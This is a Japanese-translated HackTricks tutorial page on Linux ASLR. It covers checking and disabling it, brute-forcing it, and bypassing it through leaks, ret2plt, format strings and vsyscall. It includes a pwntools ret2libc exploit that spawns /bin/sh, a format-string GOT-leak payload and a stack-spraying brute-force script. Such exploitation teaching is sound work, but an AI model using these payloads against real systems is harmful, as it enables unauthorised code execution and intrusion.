hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr
2024-04-09 00:25:06 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/common-binary-protections- 2024-04-09 00:25:06 +00:00
ret2plt.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:35:43 +00:00
ret2ret.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:35:43 +00:00

ASLR

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

基本情報

アドレススペースレイアウトランダム化ASLRは、オペレーティングシステムで使用されるセキュリティ技術で、システムおよびアプリケーションプロセスが使用するメモリアドレスをランダム化します。これにより、特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の場所を予測することが非常に困難になり、特にバッファオーバーフローなどの特定の種類のエクスプロイトを軽減します。

ASLRステータスの確認

LinuxシステムでASLRステータスを確認するには、**/proc/sys/kernel/randomize_va_space**ファイルから値を読み取ることができます。このファイルに格納されている値は、適用されているASLRのタイプを決定します

  • 0:ランダム化なし。すべてが静的です。
  • 1保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。
  • 2:完全なランダム化。保守的なランダム化によってランダム化される要素に加えて、brk()を介して管理されるメモリもランダム化されます。

次のコマンドでASLRステータスを確認できます

cat /proc/sys/kernel/randomize_va_space

ASLRの無効化

ASLRを無効化するには、/proc/sys/kernel/randomize_va_spaceの値を0に設定します。ASLRを無効にすることは、通常、テストやデバッグシナリオ以外では推奨されていません。以下は、それを無効にする方法です

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

あなたは実行時にASLRを無効にすることもできます。

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLRの有効化

ASLRを有効化するには、/proc/sys/kernel/randomize_va_spaceファイルに値2を書き込むことができます。通常、ルート権限が必要です。完全なランダム化を有効にするには、次のコマンドを使用します:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

再起動時の持続性

echoコマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、/etc/sysctl.confファイルを編集し、以下の行を追加または変更する必要があります:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

/etc/sysctl.confを編集した後、次のコマンドを使用して変更を適用します:

sudo sysctl -p

これにより、ASLR設定が再起動時に維持されます。

バイパス

32ビットのブルートフォース

PaXはプロセスのアドレス空間を3つのグループに分割します:

  • コードとデータ(初期化されたものと初期化されていないもの):.text.data.bss —> delta_exec変数に16ビットのエントロピーがあります。この変数は各プロセスでランダムに初期化され、初期アドレスに追加されます。
  • mmap()によって割り当てられたメモリ共有ライブラリ —> 16ビットdelta_mmapと呼ばれます。
  • スタック —> 24ビットdelta_stackとして参照されます。ただし、実際には11ビット10番目から20番目のバイトを含むを使用し、16バイトに整列されます —> これにより524,288個の可能な実際のスタックアドレスが得られます。

前述のデータは32ビットシステム向けであり、削減された最終エントロピーにより、ASLRをバイパスすることが可能となり、エクスプロイトが成功するまで実行を繰り返すことができます。

ブルートフォースのアイデア:

  • シェルコードの前に大きなNOPスレッドをホストするほどのオーバーフローがある場合、スタック上のアドレスをブルートフォースして、フローがNOPスレッドの一部を飛び越えるまで繰り返すことができます。
  • オーバーフローがそれほど大きくなく、エクスプロイトをローカルで実行できる場合、環境変数にNOPスレッドとシェルコードを追加することも可能です。
  • エクスプロイトがローカルである場合、libcのベースアドレスをブルートフォースすることができます32ビットシステム向けに有用
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • リモートサーバーを攻撃する場合、libc関数usleepのアドレスをブルートフォースして、引数として10を渡すことができます。サーバーが応答に10秒追加でかかる場合、この関数のアドレスを見つけました。

{% hint style="success" %} 64ビットシステムではエントロピーが高く、これは可能ではありません。 {% endhint %}

64ビットスタックのブルートフォース

環境変数でスタックの大部分を占有し、その後バイナリを数百回/数千回ローカルで悪用しようとすることが可能です。
次のコードは、スタック内のアドレスを選択するだけで、数百回の実行ごとにそのアドレスにNOP命令が含まれることを示しています:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

ローカル情報 (/proc/[pid]/stat)

プロセスのファイル /proc/[pid]/stat は常に誰でも読めるようになっており、以下のような興味深い情報が含まれています:

  • startcode & endcode: バイナリの TEXT の上と下のアドレス
  • startstack: スタック の開始アドレス
  • start_data & end_data: BSS がある上と下のアドレス
  • kstkesp & kstkeip: 現在の ESPEIP のアドレス
  • arg_start & arg_end: cli引数 がある上と下のアドレス
  • env_start & env_end: 環境変数 がある上と下のアドレス

したがって、攻撃者が悪用されるバイナリと同じコンピュータにいて、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読んだ後に作成できる異なる 入力からオーバーフローする 可能性があります。攻撃者はこのファイルからいくつかのアドレスを取得し、それらからオフセットを構築することができます。

{% hint style="success" %} このファイルに関する詳細情報は、https://man7.org/linux/man-pages/man5/proc.5.html/proc/pid/stat を検索して確認してください。 {% endhint %}

リークがある場合

  • 課題はリークを提供することです

リークが与えられた場合簡単なCTF課題、それからオフセットを計算することができますたとえば、悪用しているシステムで使用されている正確なlibcバージョンを知っていると仮定します。この例のエクスプロイトは、こちらの例 から抜粋されています(詳細についてはそのページを確認してください)。

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

バッファオーバーフローを悪用することで、ret2plt を悪用して、libc から関数のアドレスを外部に送信することが可能です。次を確認してください:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

  • Format Strings Arbitrary Read

ret2plt と同様に、フォーマット文字列の脆弱性を介して任意の読み取りがある場合、GOT からの libc 関数のアドレスを外部に送信することが可能です。次の例はこちらから:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

以下は、Format Strings arbitrary readに関する詳細情報を見つけることができます

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

スタック内のアドレスを悪用してASLRをバイパスしようとしてください

{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}

vsyscall

vsyscallメカニズムは、特定のシステムコールをユーザースペースで実行することでパフォーマンスを向上させるために役立ちますが、これらは基本的にカーネルの一部です。vsyscallsの重要な利点は、ASLR(アドレス空間配置ランダム化)の対象外である固定アドレスにあります。この固定性により、攻撃者はアドレスを特定し、それらをエクスプロイトで使用するために情報漏洩の脆弱性を必要としません。
ただし、ここでは非常に興味深いガジェットは見つかりません(たとえば、ret;相当のものを取得することが可能です)

(次の例とコードはこの解説からです)

たとえば、攻撃者はエクスプロイト内でアドレス0xffffffffff600800を使用するかもしれません。ret命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定化やクラッシュが発生する可能性がありますが、vsyscallセクションで提供されるsyscallの開始地点にジャンプすることで成功する可能性があります。このvsyscallアドレスに実行を導くROPガジェットを注意深く配置することで、攻撃者はこのエクスプロイトの一部のASLRをバイパスする必要なしにコード実行を達成できます。

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
AWSハッキングをゼロからヒーローまで学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法: